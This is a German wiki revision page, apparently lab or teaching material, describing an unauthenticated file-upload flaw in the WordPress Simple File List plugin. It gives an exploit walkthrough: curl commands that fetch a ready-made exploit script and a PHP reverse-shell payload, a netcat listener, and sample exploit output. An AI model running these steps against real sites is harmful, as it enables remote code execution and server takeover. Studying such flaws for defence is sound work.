Unauthenticated Arbitrary File Upload: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
 
(36 dazwischenliegende Versionen von 3 Benutzern werden nicht angezeigt)
Zeile 1: Zeile 1:
 
=Arbitrary file upload in Simple File List plugin for WordPress=
 
=Arbitrary file upload in Simple File List plugin for WordPress=
==Schachstelle==
+
==Schwachstelle==
 
*Die Schwachstelle besteht aufgrund einer unzureichenden Validierung von Dateien während des Datei-Uploads.
 
*Die Schwachstelle besteht aufgrund einer unzureichenden Validierung von Dateien während des Datei-Uploads.
 
*Ein entfernter Angreifer kann eine Datei hochladen, die PHP-Code enthält, aber eine png-Bilddateierweiterung hat.
 
*Ein entfernter Angreifer kann eine Datei hochladen, die PHP-Code enthält, aber eine png-Bilddateierweiterung hat.
 
*Dannach wird eine zweite Anfrage gesendet, um die png-Datei in eine PHP-Datei zu verschieben.
 
*Dannach wird eine zweite Anfrage gesendet, um die png-Datei in eine PHP-Datei zu verschieben.
 +
*Im Anschluss wird die PHP-Datei aufgerufen und ausgeführt.
 +
 +
==Ablauf==
 +
{{#drawio:arbitrary}}
 +
#Hochladen der Datei mit der png Endung
 +
#Verschieben der Datei in eine Datei mit der Endung php
 +
#Öffnen eines Ports auf dem Angreifer
 +
#Aufruf der Datei mit der Endung php
 +
#Connect zum Angreifer und Erhalt eine Reverse Shell
  
 
==Python3 Script zum Payload Hochladen==
 
==Python3 Script zum Payload Hochladen==
[[python3-scipt-payload|Python3 Script]]
+
*Das Skript kann unverändert übernommen werden.
 +
*[[python3-scipt-payload|Python3 Script]]
 +
*curl https://xinux.net/images/d/db/Script.py -o script.py
 +
*chmod +x script.py
  
 
==PHP Reverse Shell==
 
==PHP Reverse Shell==
[[PHP-Reverse-Shell-Script|PHP Script]]
+
*Die IP und eventuell der Port müssen angepasst werden.
 +
*[[PHP-Reverse-Shell-Script|payload.txt]]
 +
*[[Datei:Payload.txt]]
 +
*curl  https://xinux.net/images/d/d6/Payload.txt -o payload.txt
 +
 
 +
==Angreifer==
 +
*netcat -lp 9999
  
 
==Usage==
 
==Usage==
*python3 script.py http://10.85.70.213
+
*python3 script.py http://10.0.10.104
[ ] File 3012.png generated with password: 3bde8f1c67657e9b4c7119ee8beae4c4
+
<pre>
[ ] File uploaded at http://10.85.70.213/wp-content/uploads/simple-file-list/3012.png
+
[ ] File 2243.png generated with password: 7faaeb2f6083b6601c4843f47419783a
[ ] File moved to http://10.85.70.213/wp-content/uploads/simple-file-list/3012.php
+
[ ] File uploaded at http://10.0.10.109/wp-content/uploads/simple-file-list/2243.png
[+] Exploit seem to work.
+
[ ] File moved to http://10.0.10.109/wp-content/uploads/simple-file-list/2243.php
[*] Confirmning ...
+
[+] Exploit seem to work.
 +
[*] Confirmning ..
 +
</pre>
 +
 
 +
=Aufruf=
 +
*http://10.0.10.109/wp-content/uploads/simple-file-list/2243.php
 +
 
 +
=Link=
 +
https://wpscan.com/vulnerability/10132

Aktuelle Version vom 20. August 2026, 06:19 Uhr

Arbitrary file upload in Simple File List plugin for WordPress

Schwachstelle

  • Die Schwachstelle besteht aufgrund einer unzureichenden Validierung von Dateien während des Datei-Uploads.
  • Ein entfernter Angreifer kann eine Datei hochladen, die PHP-Code enthält, aber eine png-Bilddateierweiterung hat.
  • Dannach wird eine zweite Anfrage gesendet, um die png-Datei in eine PHP-Datei zu verschieben.
  • Im Anschluss wird die PHP-Datei aufgerufen und ausgeführt.

Ablauf

  1. Hochladen der Datei mit der png Endung
  2. Verschieben der Datei in eine Datei mit der Endung php
  3. Öffnen eines Ports auf dem Angreifer
  4. Aufruf der Datei mit der Endung php
  5. Connect zum Angreifer und Erhalt eine Reverse Shell

Python3 Script zum Payload Hochladen

PHP Reverse Shell

Angreifer

  • netcat -lp 9999

Usage

[ ] File 2243.png generated with password: 7faaeb2f6083b6601c4843f47419783a
[ ] File uploaded at http://10.0.10.109/wp-content/uploads/simple-file-list/2243.png
[ ] File moved to http://10.0.10.109/wp-content/uploads/simple-file-list/2243.php
[+] Exploit seem to work.
[*] Confirmning ..

Aufruf

Link

https://wpscan.com/vulnerability/10132